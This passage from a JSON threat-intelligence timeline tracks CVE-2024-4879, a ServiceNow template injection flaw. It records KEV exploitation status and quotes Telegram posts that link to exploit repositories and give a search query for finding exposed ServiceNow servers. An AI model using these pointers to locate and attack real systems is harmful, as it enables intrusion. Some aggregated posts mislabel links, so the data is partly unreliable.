"creation_timestamp", "uuid": "ddf7f9e8-301a-4fd3-8f52-cadf146751bb"}, {"timestamp": "2024-07-29T18:58:02.257Z", "date_only": false, "value": "2024-07-29T18:58:02.257329Z", "kind": "other", "label": "Recorded", "source": "cvelistv5 / CISA-ADP", "record": "CVE-2024-4879", "field": "containers.adp.0.metrics.0.other.content.timestamp"}, {"timestamp": "2024-07-29T18:58:02.257Z", "date_only": false, "value": "2024-07-29T18:58:02.257329Z", "kind": "other", "label": "Recorded", "source": "fkie_nvd \u00b7 FKIE_CVE-2024-4879", "record": "FKIE_CVE-2024-4879", "field": "metrics.ssvcV203.0.ssvcData.timestamp"}, {"timestamp": "2024-07-29T22:28:49.374Z", "date_only": false, "value": "2024-07-29T22:28:49.374Z", "kind": "other", "label": "Updated", "source": "cvelistv5 / SN", "record": "CVE-2024-4879", "field": "containers.cna.providerMetadata.dateUpdated"}, {"timestamp": "2024-08-01T03:33:14Z", "date_only": false, "value": "2024-08-01T03:33:14.000000Z", "kind": "sighting", "label": "Published proof of concept", "source": "https://t.me/CyberDilara/562", "record": "CVE-2024-4879", "field": "creation_timestamp", "uuid": "e91da6bc-47fc-4089-9277-4c7aac1f2072", "content": "Tools - Hackers Factory \n\nHellPot is an endless honeypot based on Heffalump that sends unruly HTTP bots to hell.\n\nhttps://github.com/yunginnanet/HellPot\n\nWork-in-progress date-time SQLite extension that will support timezones.\n\nhttps://github.com/asg017/sqlite-jiff\n\nSubdominator is a powerful tool for passive subdomain enumeration during bug hunting and reconnaissance processes. It is designed to help researchers and cybersecurity professionals discover potential security vulnerabilities by efficiently enumerating subdomains some various free passive resources.\n\nhttps://github.com/RevoltSecurities/Subdominator\n\nCVE-2024-4879 Exploit & PoC - Nuclei Template\n\nhttps://github.com/Brut-Security/CVE-2024-4879\n\nCVE-2024-34102: Unauthenticated Magento XXE.\n\nCVEHunter tool for vulnerability detection and exploitation tool for CVE-2024-34102 with Asychronous Performance.\n\nhttps://github.com/th3gokul/CVE-2024-34102\n\nCVE-2024-5009 : WhatsUp Gold SetAdminPassword Privilege Escalation.\n\nCVEHunter tool for vulnerability detection and exploitation tool for CVE-2024-5009 with Asychronous Performance.\n\nhttps://github.com/th3gokul/CVE-2024-5009\n\nSubprober - An essential HTTP multi-purpose Probing Tool for Penetration Testers and Security Researchers with Asynchronous httpx client support.\n\nhttps://github.com/RevoltSecurities/SubProber\n\n#CyberDilara \nhttps://t.me/CyberDilara", "url": "https://t.me/CyberDilara/562"}, {"timestamp": "2024-08-01T03:33:21Z", "date_only": false, "value": "2024-08-01T03:33:21.000000Z", "kind": "sighting", "label": "Published proof of concept", "source": "https://t.me/dilagrafie/3581", "record": "CVE-2024-4879", "field": "creation_timestamp", "uuid": "8b5b82d2-d8f1-433a-9101-f90837688286", "content": "Tools - Hackers Factory \n\nHellPot is an endless honeypot based on Heffalump that sends unruly HTTP bots to hell.\n\nhttps://github.com/yunginnanet/HellPot\n\nWork-in-progress date-time SQLite extension that will support timezones.\n\nhttps://github.com/asg017/sqlite-jiff\n\nSubdominator is a powerful tool for passive subdomain enumeration during bug hunting and reconnaissance processes. It is designed to help researchers and cybersecurity professionals discover potential security vulnerabilities by efficiently enumerating subdomains some various free passive resources.\n\nhttps://github.com/RevoltSecurities/Subdominator\n\nCVE-2024-4879 Exploit & PoC - Nuclei Template\n\nhttps://github.com/Brut-Security/CVE-2024-4879\n\nCVE-2024-34102: Unauthenticated Magento XXE.\n\nCVEHunter tool for vulnerability detection and exploitation tool for CVE-2024-34102 with Asychronous Performance.\n\nhttps://github.com/th3gokul/CVE-2024-34102\n\nCVE-2024-5009 : WhatsUp Gold SetAdminPassword Privilege Escalation.\n\nCVEHunter tool for vulnerability detection and exploitation tool for CVE-2024-5009 with Asychronous Performance.\n\nhttps://github.com/th3gokul/CVE-2024-5009\n\nSubprober - An essential HTTP multi-purpose Probing Tool for Penetration Testers and Security Researchers with Asynchronous httpx client support.\n\nhttps://github.com/RevoltSecurities/SubProber\n\n#CyberDilara \nhttps://t.me/CyberDilara", "url": "https://t.me/dilagrafie/3581"}, {"timestamp": "2024-08-01T03:55:12Z", "date_only": false, "value": "2024-08-01T03:55:12.000000Z", "kind": "sighting", "label": "Published proof of concept", "source": "https://t.me/GrayHatsHack/7132", "record": "CVE-2024-4879", "field": "creation_timestamp", "uuid": "a4fb51ab-750f-4c6a-bd05-a957718a8f45", "content": "Tools - Hackers Factory \n\nHellPot is an endless honeypot based on Heffalump that sends unruly HTTP bots to hell.\n\nhttps://github.com/yunginnanet/HellPot\n\nWork-in-progress date-time SQLite extension that will support timezones.\n\nhttps://github.com/asg017/sqlite-jiff\n\nSubdominator is a powerful tool for passive subdomain enumeration during bug hunting and reconnaissance processes. It is designed to help researchers and cybersecurity professionals discover potential security vulnerabilities by efficiently enumerating subdomains some various free passive resources.\n\nhttps://github.com/RevoltSecurities/Subdominator\n\nCVE-2024-4879 Exploit & PoC - Nuclei Template\n\nhttps://github.com/Brut-Security/CVE-2024-4879\n\nCVE-2024-34102: Unauthenticated Magento XXE.\n\nCVEHunter tool for vulnerability detection and exploitation tool for CVE-2024-34102 with Asychronous Performance.\n\nhttps://github.com/th3gokul/CVE-2024-34102\n\nCVE-2024-5009 : WhatsUp Gold SetAdminPassword Privilege Escalation.\n\nCVEHunter tool for vulnerability detection and exploitation tool for CVE-2024-5009 with Asychronous Performance.\n\nhttps://github.com/th3gokul/CVE-2024-5009\n\nSubprober - An essential HTTP multi-purpose Probing Tool for Penetration Testers and Security Researchers with Asynchronous httpx client support.\n\nhttps://github.com/RevoltSecurities/SubProber\n\n#CyberDilara \nhttps://t.me/CyberDilara", "url": "https://t.me/GrayHatsHack/7132"}, {"timestamp": "2024-08-01T03:55:12Z", "date_only": false, "value": "2024-08-01T03:55:12.000000Z", "kind": "sighting", "label": "Published proof of concept", "source": "https://t.me/GrayHatsHack/8444", "record": "CVE-2024-4879", "field": "creation_timestamp", "uuid": "f058406c-e35e-4641-bdad-b263a7904af9", "content": "Tools - Hackers Factory \n\nHellPot is an endless honeypot based on Heffalump that sends unruly HTTP bots to hell.\n\nhttps://github.com/yunginnanet/HellPot\n\nWork-in-progress date-time SQLite extension that will support timezones.\n\nhttps://github.com/asg017/sqlite-jiff\n\nSubdominator is a powerful tool for passive subdomain enumeration during bug hunting and reconnaissance processes. It is designed to help researchers and cybersecurity professionals discover potential security vulnerabilities by efficiently enumerating subdomains some various free passive resources.\n\nhttps://github.com/RevoltSecurities/Subdominator\n\nCVE-2024-4879 Exploit & PoC - Nuclei Template\n\nhttps://github.com/Brut-Security/CVE-2024-4879\n\nCVE-2024-34102: Unauthenticated Magento XXE.\n\nCVEHunter tool for vulnerability detection and exploitation tool for CVE-2024-34102 with Asychronous Performance.\n\nhttps://github.com/th3gokul/CVE-2024-34102\n\nCVE-2024-5009 : WhatsUp Gold SetAdminPassword Privilege Escalation.\n\nCVEHunter tool for vulnerability detection and exploitation tool for CVE-2024-5009 with Asychronous Performance.\n\nhttps://github.com/th3gokul/CVE-2024-5009\n\nSubprober - An essential HTTP multi-purpose Probing Tool for Penetration Testers and Security Researchers with Asynchronous httpx client support.\n\nhttps://github.com/RevoltSecurities/SubProber\n\n#CyberDilara \nhttps://t.me/CyberDilara", "url": "https://t.me/GrayHatsHack/8444"}, {"timestamp": "2024-08-01T20:55:10.283Z", "date_only": false, "value": "2024-08-01T20:55:10.283Z", "kind": "other", "label": "Updated", "source": "cvelistv5 / CVE", "record": "CVE-2024-4879", "field": "containers.adp.1.providerMetadata.dateUpdated"}, {"timestamp": "2024-08-01T20:58:08Z", "date_only": false, "value": "2024-08-01T20:58:08.000000Z", "kind": "sighting", "label": "Published proof of concept", "source": "Telegram/41AOwW-HVfveJGnWTCUGJmCb5QTVwo4WGVTDiWBY6ulqpQ", "record": "CVE-2024-4879", "field": "creation_timestamp", "uuid": "af50da81-fcf4-4992-bc52-9e5b604a7cfe"}, {"timestamp": "2024-08-14T07:03:24Z", "date_only": false, "value": "2024-08-14T07:03:24.000000Z", "kind": "sighting", "label": "Published proof of concept", "source": "https://t.me/GithubRedTeam/8262", "record": "CVE-2024-4879", "field": "creation_timestamp", "uuid": "fba1408e-e52c-4ed4-9043-04c7cc8bfa77", "content": "GitHub\u76d1\u63a7\u6d88\u606f\u63d0\u9192\uff01\uff01\uff01 \n\n\u66f4\u65b0\u4e86\uff1aCVE-2024\n\u63cf\u8ff0\uff1aRDL\u7684\u5806\u6ea2\u51fa\u5bfc\u81f4\u7684RCE\nURL\uff1ahttps://github.com/jdusane/CVE-2024-4879\n\n\u6807\u7b7e\uff1a#CVE-2024", "url": "https://t.me/GithubRedTeam/8262"}, {"timestamp": "2024-08-15T18:11:12.758Z", "date_only": false, "value": "2024-08-15T18:11:12.758+00:00", "kind": "other", "label": "Document generated", "source": "csaf_certbund \u00b7 WID-SEC-W-2024-1588", "record": "WID-SEC-W-2024-1588", "field": "document.tracking.generator.date"}, {"timestamp": "2024-08-19T00:00:00Z", "date_only": true, "value": "2024-08-19", "kind": "kev", "label": "Due date", "source": "cisa-kev", "record": "CVE-2024-4879", "field": "evidence.0.details.due_date", "uuid": "4726d11a-f0ce-49f8-b652-feb00eb5eb0c", "status": {"status_reason": "confirmed", "exploited": true}}, {"timestamp": "2024-08-27T03:44:34Z", "date_only": false, "value": "2024-08-27T03:44:34.000000Z", "kind": "sighting", "label": "Published proof of concept", "source": "https://t.me/GithubRedTeam/8373", "record": "CVE-2024-4879", "field": "creation_timestamp", "uuid": "fe123e51-b04b-40d4-900f-438aca0a807b", "content": "GitHub\u76d1\u63a7\u6d88\u606f\u63d0\u9192\uff01\uff01\uff01 \n\n\u66f4\u65b0\u4e86\uff1aCVE-2024\n\u63cf\u8ff0\uff1aJelly Template Injection Vulnerability in ServiceNow | POC CVE-2024-4879\nURL\uff1ahttps://github.com/fa-rrel/CVE-2024-4879\n\n\u6807\u7b7e\uff1a#CVE-2024", "url": "https://t.me/GithubRedTeam/8373"}, {"timestamp": "2024-08-28T17:08:30Z", "date_only": false, "value": "2024-08-28T17:08:30.000000Z", "kind": "sighting", "label": "Published proof of concept", "source": "https://t.me/CNArsenal/3082", "record": "CVE-2024-4879", "field": "creation_timestamp", "uuid": "71501675-a0fa-4f1a-9382-802055264922", "content": "https://github.com/fa-rrel/CVE-2024-4879\n\nJelly Template Injection Vulnerability in ServiceNow | POC CVE-2024-4879\n\nFOFA : \"server : servicenow\"\n#github #exploit", "url": "https://t.me/CNArsenal/3082"}, {"timestamp": "2024-08-28T17:16:11Z", "date_only": false, "value": "2024-08-28T17:16:11.000000Z", "kind": "sighting", "label": "Published proof of concept", "source": "Telegram/1LyGM2ds6KCu885cqOKHCl_bZq2Y_owcnhNMrYkxoYAnLw", "record": "CVE-2024-4879", "field": "creation_timestamp", "uuid": "080d3f7e-79c7-4f68-aae7-5d8adc961256"}, {"timestamp": "2024-08-28T17:17:52Z", "date_only": false, "value": "2024-08-28T17:17:52.000000Z", "kind": "sighting", "label": "Published proof of concept", "source": "https://t.me/realLulzSec/18021", "record": "CVE-2024-4879", "field": "creation_timestamp", "uuid": "8f68d29c-4620-4bd2-a30f-04deb23e248a", "content": "https://github.com/fa-rrel/CVE-2024-4879\n\nJelly Template Injection Vulnerability in ServiceNow | POC CVE-2024-4879\n\nFOFA : \"server : servicenow\"\n#github #exploit", "url": "https://t.me/realLulzSec/18021"}, {"timestamp": "2024-08-28T17:17:52Z", "date_only": false, "value": "2024-08-28T17:17:52.000000Z", "kind": "sighting", "label": "Published proof of concept", "source": "https://t.me/realLulzSec/1854", "record": "CVE-2024-4879", "field": "creation_timestamp", "uuid": "807b5e1c-03ec-41d3-891e-1b7f40d6d45f", "content": "https://github.com/fa-rrel/CVE-2024-4879\n\nJelly Template Injection Vulnerability in ServiceNow | POC CVE-2024-4879\n\nFOFA : \"server : servicenow\"\n#github #exploit", "url": "https://t.me/realLulzSec/1854"}, {"timestamp": "2024-08-28T17:39:47Z", "date_only": false, "value": "2024-08-28T17:39:47.000000Z", "kind": "sighting", "label": "Published proof of concept", "source": "Telegram/JU2HtEmjxUFTRKPmldrvMx4629VaP96haSuDCPtpTmyrxI8", "record": "CVE-2024-4879", "field": "creation_timestamp", "uuid": "8eea3171-fe94-44cb-8b7d-402b0f255560"}, {"timestamp": "2024-08-30T06:50:06Z", "date_only": false, "value": "2024-08-30T06:50:06.000000Z", "kind": "sighting", "label": "Published proof of concept", "source": "https://t.me/Rootsec_2/4257", "record": "CVE-2024-4879", "field": "creation_timestamp", "uuid": "b464cec5-5b8b-4786-aff4-5ba4acf74efb", "content": "#exploit\n1. CVE-2024-4879:\nJelly Template Injection Vulnerability in ServiceNow\nhttps://blog.redteam-pentesting.de/2024/moodle-rce\n\n2. CVE-2024-5932:\nWordPress GiveWP Donation/Fundraising Platform 3.14.1 Code Execution\nhttps://packetstormsecurity.com/files/180463/WordPress-GiveWP-Donation-Fundraising-Platform-3.14.1-Code-Execution.html", "url": "https://t.me/Rootsec_2/4257"}, {"timestamp": "2024-08-30T16:51:16Z", "date_only": false, "value": "2024-08-30T16:51:16.000000Z", "kind": "sighting", "label": "Published proof of concept", "source": "https://t.me/CyberSecurityTechnologies/11054", "record": "CVE-2024-4879", "field": "creation_timestamp", "uuid": "aa86c0bd-d24e-4590-8343-bb83eaf91134", "content": "#exploit\n1. CVE-2024-4879:\nJelly Template Injection Vulnerability in ServiceNow\nhttps://blog.redteam-pentesting.de/2024/moodle-rce\n\n2. CVE-2024-5932:\nWordPress GiveWP Donation/Fundraising Platform 3.14.1 Code Execution\nhttps://packetstormsecurity.com/files/180463/WordPress-GiveWP-Donation-Fundraising-Platform-3.14.1-Code-Execution.html", "url": "https://t.me/CyberSecurityTechnologies/11054"}, {"timestamp": "2024-08-30T18:56:36Z", "date_only": false, "value": "2024-08-30T18:56:36.000000Z", "kind": "sighting", "label": "Published proof of concept", "source": "https://t.me/HackerArsenal/233", "record": "CVE-2024-4879", "field": "creation_timestamp", "uuid": "c568988c-796b-43e1-bc98-839a965dda15", "content": "#exploit\n1. CVE-2024-4879:\nJelly Template Injection Vulnerability in ServiceNow\nhttps://blog.redteam-pentesting.de/2024/moodle-rce\n\n2. CVE-2024-5932:\nWordPress GiveWP Donation/Fundraising Platform 3.14.1 Code Execution\nhttps://packetstormsecurity.com/files/180463/WordPress-GiveWP-Donation-Fundraising-Platform-3.14.1-Code-Execution.html", "url": "https://t.me/HackerArsenal/233"}, {"timestamp": "2024-08-30T20:36:47Z", "date_only": false, "value": "2024-08-30T20:36:47.000000Z", "kind": "sighting", "label": "Published proof of concept", "source": "https://t.me/Rootsec_2/4261", "record": "CVE-2024-4879", "field": "creation_timestamp", "uuid": "53174b67-8807-4edd-ae99-b839d4dd1e19", "content": "#exploit\n1. CVE-2024-4879:\nJelly Template Injection Vulnerability in ServiceNow\nhttps://blog.redteam-pentesting.de/2024/moodle-rce\n\n2. CVE-2024-5932:\nWordPress GiveWP Donation/Fundraising Platform 3.14.1 Code Execution\nhttps://packetstormsecurity.com/files/180463/WordPress-GiveWP-Donation-Fundraising-Platform-3.14.1-Code-Execution.html", "url": "https://t.me/Rootsec_2/4261"}, {"timestamp": "2025-01-17T07:07:51.228Z", "date_only": false, "value": "2025-01-17T07:07:51.228185Z", "kind": "sighting", "label": "Seen", "source": "https://bsky.app/profile/tamosan.bsky.social/post/3lfwacsz2fw2o", "record": "CVE-2024-4879", "field": "creation_timestamp", "uuid": "c21142d3-3273-450b-a75b-1203a268098a", "url": "https://bsky.app/profile/tamosan.bsky.social/post/3lfwacsz2fw2o"}, {"timestamp": "2025-02-08T23:21:33Z", "date_only": false, "value": "2025-02-08T23:21:33.000000Z", "kind": "sighting", "label": "Exploited", "source": "https://t.me/DarkWebInformer_CVEAlerts/3905", "record": "CVE-2024-4879", "field": "creation_timestamp", "uuid": "abc7e595-38cd-461f-acf0-a4721002975c", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-4879\n\ud83c\udfe2 Vendor: ServiceNow\n\ud83d\udda5\ufe0f Product: Utah, Vancouver, and Washington DC Now\n\ud83d\udd39 Description: ServiceNow Utah, Vancouver, and Washington DC Now releases contain a jelly template injection vulnerability in UI macros. An unauthenticated user could exploit this vulnerability to execute code remotely. \n\ud83d\udccf Published: 2024-07-23T00:00:00Z\n\ud83d\udd17 References:\n1. https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json\n2. https://www.imperva.com/blog/imperva-customers-protected-against-critical-servicenow-vulnerability/\n3. https://www.resecurity.com/blog/article/cve-2024-4879-and-cve-2024-5217-servicenow-rce-exploitation-in-a-global-reconnaissance-campaign\n4. https://fortiguard.fortinet.com/outbreak-alert/servicenow-rce", "url": "https://t.me/DarkWebInformer_CVEAlerts/3905"}, {"timestamp": "2025-02-23T02:10:56Z", "date_only": false, "value": "2025-02-23T02:10:56.000000Z", "kind": "sighting", "label": "Seen", "source": "MISP/3c19819c-1dac-4ef2-bfed-be5efa7e0123", "record": "CVE-2024-4879", "field": "creation_timestamp", "uuid": "f03dea7a-12d3-44f7-b93a-0ec42a1d2944"}, {"timestamp": "2025-03-20T19:51:43.117Z", "date_only": false, "value": "2025-03-20T19:51:43.117651Z", "kind": "sighting", "label": "Seen", "source": "https://bsky.app/profile/infrasecalliance.org/post/3lkthvqwomc26", "record": "CVE-2024-4879", "field": "creation_timestamp", "uuid": "6f82dafb-4fa6-4d55-8e82-68e68b394649", "url": "https://bsky.app/profile/infrasecalliance.org/post/3lkthvqwomc26"}, {"timestamp": "2025-03-20T19:51:43.793Z", "date_only": false, "value": "2025-03-20T19:51:43.793213Z", "kind": "sighting", "label": "Seen", "source": "https://bsky.app/profile/infrasecalliance.org/post/3lkthvqwsjc26", "record": "CVE-2024-4879", "field": "creation_timestamp", "uuid": "96b76cb8-a6b8-474f-ad3a-7f2490c95d0a", "url": "https://bsky.app/profile/infrasecalliance.org/post/3lkthvqwsjc26"}, {"timestamp": "2025-03-20T19:51:44.476Z", "date_only": false, "value": "2025-03-20T19:51:44.476814Z", "kind": "sighting", "label": "Seen", "source": "https://bsky.app/profile/infrasecalliance.org/post/3lkthvqwtik26", "record": "CVE-2024-4879", "field": "creation_timestamp", "uuid": "c855a658-98bf-4da2-9d67-908e24b14b0e", "url": "https://bsky.app/profile/infrasecalliance.org/post/3lkthvqwtik26"}, {"timestamp": "2025-03-20T19:51:45.243Z", "date_only": false, "value": "2025-03-20T19:51:45.243269Z", "kind": "sighting", "label": "Seen", "source": "https://bsky.app/profile/infrasecalliance.org/post/3lkthvqwtil26", "record": "CVE-2024-4879", "field": "creation_timestamp", "uuid": "ea7360fa-f3b7-4cf6-9b69-1d56ae8163da", "url": "https://bsky.app/profile/infrasecalliance.org/post/3lkthvqwtil26"}, {"timestamp": "2025-03-20T19:51:45.901Z", "date_only": false, "value": "2025-03-20T19:51:45.901815Z", "kind": "sighting", "label": "Seen", "source": "https://bsky.app/profile/infrasecalliance.org/post/3lkthvqwuht26", "record": "CVE-2024-4879", "field": "creation_timestamp", "uuid": "7ef9b2b8-e28c-4481-b5fb-f19a64d464af", "url": "https://bsky.app/profile/infrasecalliance.org/post/3lkthvqwuht26"}, {"timestamp": "2025-03-21T15:50:46.504Z", "date_only": false, "value": "2025-03-21T15:50:46.504197Z", "kind": "sighting", "label": "Seen", "source": "https://bsky.app/profile/securityrss.bsky.social/post/3lkvkvumgpr2k", "record": "CVE-2024-4879", "field": "creation_timestamp", "uuid": "bf34ade3-1f7e-4c3f-aaa1-45b310a42574", "url": "https://bsky.app/profile/securityrss.bsky.social/post/3lkvkvumgpr2k"}, {"timestamp": "2025-03-22T08:22:48.597Z", "date_only": false, "value": "2025-03-22T08:22:48.597338Z", "kind": "sighting", "label": "Seen", "source": "https://bsky.app/profile/hackingne.ws/post/3lkxcdrog3v2p", "record": "CVE-2024-4879", "field": "creation_timestamp", "uuid": "8ee47692-b6aa-4faf-a7d1-3a7ba03a2210", "url": "https://bsky.app/profile/hackingne.ws/post/3lkxcdrog3v2p"}, {"timestamp": "2025-03-22T16:53:28.815Z", "date_only": false, "value": "2025-03-22T16:53:28.815003Z", "kind": "sighting", "label": "Seen", "source": "https://bsky.app/profile/hacker.at.thenote.app/post/3lky6uwrfa22x", "record": "CVE-2024-4879", "field": "creation_timestamp", "uuid": "dafb1288-c9ff-494f-b50e-524054d237de", "url": "https://bsky.app/profile/hacker.at.thenote.app/post/3lky6uwrfa22x"}, {"timestamp": "2025-08-12T21:02:28.098Z", "date_only": false, "value": "2025-08-12T21:02:28.098770Z", "kind": "sighting", "label": "Seen", "source": "https://bsky.app/profile/beikokucyber.bsky.social/post/3lwa7hpi3jx2w", "record": "CVE-2024-4879", "field": "creation_timestamp", "uuid": "bdf13c68-7f42-4655-9cbb-d9867f3c47d3", "url": "https://bsky.app/profile/beikokucyber.bsky.social/post/3lwa7hpi3jx2w"}, {"timestamp": "2025-08-31T03:01:33Z", "date_only": false, "value": "2025-08-31T03:01:33.000000Z", "kind": "sighting", "label": "Seen", "source": "MISP/ab0b745f-bbd5-338e-8b92-97dd0c757e9d", "record": "CVE-2024-4879", "field": "creation_timestamp", "uuid": "890c99d0-5ee2-49e3-8416-7e18ad62b727"}, {"timestamp": "2025-08-31T03:13:16Z", "date_only": false, "value": "2025-08-31T03:13:16.000000Z", "kind": "sighting", "label": "Seen", "source": "MISP/d17bd6ef-d68b-317b-ac33-cdbc44c5fc57", "record": "CVE-2024-4879", "field": "creation_timestamp", "uuid": "67d76b92-5bed-4b09-96ef-affdcd0a2a65"}, {"timestamp": "2025-10-21T22:55:49.702Z", "date_only": false, "value": "2025-10-21T22:55:49.702Z", "kind": "other", "label": "Updated", "source": "cvelistv5", "record": "CVE-2024-4879", "field": "cveMetadata.dateUpdated"}, {"timestamp": "2025-10-21T22:55:49.702Z", "date_only": false, "value": "2025-10-21T22:55:49.702Z", "kind": "other", "label": "Updated", "source": "cvelistv5 / CISA-ADP", "record": "CVE-2024-4879", "field": "containers.adp.0.providerMetadata.dateUpdated"}, {"timestamp": "2025-10-22T00:33:04Z", "date_only": false, "value": "2025-10-22T00:33:04Z", "kind": "other", "label": "Updated", "source": "github \u00b7 GHSA-355H-WPR8-M2QX", "record": "GHSA-355H-WPR8-M2QX", "field": "modified"}, {"timestamp": "2026-02-02T12:26:32.863Z", "date_only": false, "value": "2026-02-02T12:26:32.863322Z", "kind": "sighting", "label": "Exploited", "source": "https://vulnerability.circl.lu/known-exploited-vulnerabilities-catalog/79a31a14-ef9e-4e7a-9a2d-4fd1ff149bc0", "record": "CVE-2024-4879", "field": "creation_timestamp", "uuid": "936114d9-4bbe-4cee-85e7-4c3952501915", "url": "https://vulnerability.circl.lu/known-exploited-vulnerabilities-catalog/79a31a14-ef9e-4e7a-9a2d-4fd1ff149bc0"}, {"timestamp": "2026-02-02T12:26:32.863Z", "date_only": false, "value": "2026-02-02T12:26:32.863322Z", "kind": "sighting", "label": "Exploited", "source": "https://vulnerability.circl.lu/known-exploited-vulnerabilities-catalog/79a31a14-ef9e-4e7a-9a2d-4fd1ff149bc0", "record": "CVE-2024-4879", "field": "creation_timestamp", "uuid": "333ca264-bec2-44ec-9ae2-0abe7223ee28", "url": "https://vulnerability.circl.lu/known-exploited-vulnerabilities-catalog/79a31a14-ef9e-4e7a-9a2d-4fd1ff149bc0"}, {"timestamp": "2026-02-02T13:24:01Z", "date_only": false, "value": "2026-02-02T13:24:01+00:00", "kind": "kev", "label": "Recorded", "source": "cisa-kev", "record": "CVE-2024-4879", "field": "timestamps.recorded_at", "uuid": "4726d11a-f0ce-49f8-b652-feb00eb5eb0c", "status": {"status_reason": "confirmed", "exploited": true}}, {"timestamp": "2026-06-17T08:03:05.523Z", "date_only": false, "value": "2026-06-17T08:03:05.523", "kind": "other", "label": "Updated", "source": "fkie_nvd \u00b7 FKIE_CVE-2024-4879", "record": "FKIE_CVE-2024-4879", "field": "lastModified"}, {"timestamp": "2026-06-19T12:46:37.694Z", "date_only": false, "value": "2026-06-19T12:46:37.694916Z", "kind": "sighting", "label": "Exploited", "source": "https://vulnerability.circl.lu/known-exploited-vulnerabilities-catalog/69ff8fad-eec4-4283-a731-d67ca3eb0521", "record": "CVE-2024-4879", "field": "creation_timestamp", "uuid": "23eaf3c2-7f19-47ce-aa0e-8704fe608dad", "url": "https://vulnerability.circl.lu/known-exploited-vulnerabilities-catalog/69ff8fad-eec4-4283-a731-d67ca3eb0521"}, {"timestamp": "2026-06-23T11:11:17Z", "date_only": false, "value": "2026-06-23T11:11:17+00:00", "kind": "kev", "label": "Recorded", "source": "kevintel", "record": "CVE-2024-4879", "field": "timestamps.recorded_at", "uuid": "91ee8e99-f09f-4101-a4dc-0f5546d52a2d", "status": {"status_reason": "confirmed", "exploited": true}}, {"timestamp": "2026-06-23T11:14:23Z", "date_only": false, "value": "2026-06-23T11:14:23.000176Z", "kind": "sighting", "label": "Exploited", "source": "https://db.gcve.eu/known-exploited-vulnerabilities-catalog/91ee8e99-f09f-4101-a4dc-0f5546d52a2d", "record": "CVE-2024-4879", "field": "creation_timestamp", "uuid": "b3a0cec1-1aff-42ab-96b2-5493e35f2f64", "url": "https://db.gcve.eu/known-exploited-vulnerabilities-catalog/91ee8e99-f09f-4101-a4dc-0f5546d52a2d"}, {"timestamp": "2026-06-23T14:05:55.664Z", "date_only": false, "value": "2026-06-23T14:05:55.664974Z", "kind": "sighting", "label": "Exploited", "source": "https://vulnerability.circl.lu/known-exploited-vulnerabilities-catalog/40106492-153f-40aa-b0ff-db1aa38f75ae", "record": "CVE-2024-4879", "field": "creation_timestamp", "uuid": "e9283f7e-82e4-43b3-a8af-6a8682a6b3bb", "url": "https://vulnerability.circl.lu/known-exploited-vulnerabilities-catalog/40106492-153f-40aa-b0ff-db1aa38f75ae"}, {"timestamp": "2026-07-09T03:00:09.325Z", "date_only": false, "value": "2026-07-09T03:00:09.325326Z", "kind": "sighting", "label": "Seen", "source": "https://t.me/brutsecurity/1587", "record": "CVE-2024-4879", "field": "creation_timestamp", "uuid": "518cc205-31a7-4568-a9b2-32e30bf82a43", "url": "https://t.me/brutsecurity/1587"}, {"timestamp": "2026-07-09T03:00:13.130Z", "date_only": false, "value": "2026-07-09T03:00:13.130667Z", "kind": "sighting", "label": "Seen", "source": "https://t.me/brutsecurity/672", "record": "CVE-2024-4879", "field": "creation_timestamp", "uuid": "a958f24a-328a-4198-aeeb-52921bf5e169", "url": "https://t.me/brutsecurity/672"}, {"timestamp": "2026-07-09T03:00:13.163Z", "date_only": false, "value": "2026-07-09T03:00:13.163539Z", "kind": "sighting", "label": "Seen", "source": "https://t.me/brutsecurity/673", "record": "CVE-2024-4879", "field": "creation_timestamp", "uuid": "497ea8ec-b67c-4e22-8721-2e1c3f07a9e1", "url": "https://t.me/brutsecurity/673"}, {"timestamp": "2026-07-10T00:00:32.952Z", "date_only": false, "value": "2026-07-10T00:00:32.952424Z", "kind": "sighting", "label": "Seen", "source": "https://t.me/brutsecurity/1587", "record": "CVE-2024-4879", "field": "creation_timestamp", "uuid": "a631a9bf-4673-4635-b0de-840243764ac6", "url": "https://t.me/brutsecurity/1587"}, {"timestamp": "2026-07-10T00:00:36.964Z", "date_only": false, "value": "2026-07-10T00:00:36.964992Z", "kind": "sighting", "label": "Seen", "source": "https://t.me/brutsecurity/672", "record": "CVE-2024-4879", "field": "creation_timestamp", "uuid": "bd444eeb-1163-4645-b068-b602baefb8a3", "url": "https://t.me/brutsecurity/672"}, {"timestamp": "2026-07-10T00:00:37.008Z", "date_only": false, "value": "2026-07-10T00:00:37.008429Z", "kind": "sighting", "label": "Seen", "source": "https://t.me/brutsecurity/673", "record": "CVE-2024-4879", "field": "creation_timestamp", "uuid": "ea54897e-e7f8-4762-b421-f5499b47bab9", "url": "https://t.me/brutsecurity/673"}, {"timestamp": "2026-07-11T14:00:04.097Z", "date_only": false, "value": "2026-07-11T14:00:04.097703Z", "kind": "sighting", "label": "Published proof of concept", "source": "https://t.me/brutsecurity/1587", "record": "CVE-2024-4879", "field": "creation_timestamp", "uuid": "ca2e4cec-60d5-424e-ae18-f999a783377c", "url": "https://t.me/brutsecurity/1587"}, {"timestamp": "2026-07-11T18:00:04.789Z", "date_only": false, "value": "2026-07-11T18:00:04.789740Z", "kind": "sighting", "label": "Published proof of concept", "source": "https://t.me/brutsecurity/673", "record": "CVE-2024-4879", "field": "creation_timestamp", "uuid": "d1600980-bacf-4ed4-8d47-822f44c21c34", "url": "https://t.me/brutsecurity/673"}, {"timestamp": "2026-07-11T18:00:04.826Z", "date_only": false, "value": "2026-07-11T18:00:04.826933Z", "kind": "sighting", "label": "Published proof of concept", "source": "https://t.me/brutsecurity/672", "record": "CVE-2024-4879", "field": "creation_timestamp", "uuid": "8d67a11c-21f7-4b88-98b4-ddbc0a8d6c79", "url": "https://t.me/brutsecurity/672"}, {"timestamp": "2026-07-12T00:00:42.066Z", "date_only": false, "value": "2026-07-12T00:00:42.066277Z", "kind": "sighting", "label": "Published proof of concept", "source": "https://t.me/brutsecurity/673", "record": "CVE-2024-4879", "field": "creation_timestamp", "uuid": "645f7f3e-f52e-43c3-8571-e9ea30e39c1a", "url": "https://t.me/brutsecurity/673"}, {"timestamp": "2026-07-12T00:00:42.111Z", "date_only": false, "value": "2026-07-12T00:00:42.111481Z", "kind": "sighting", "label": "Published proof of concept", "source": "https://t.me/brutsecurity/672", "record": "CVE-2024-4879", "field": "creation_timestamp", "uuid": "5c9d29a7-71cd-4804-b570-14a8e68a2e95", "url": "https://t.me/brutsecurity/672"}, {"timestamp": "2026-07-12T00:00:47.860Z", "date_only": false, "value": 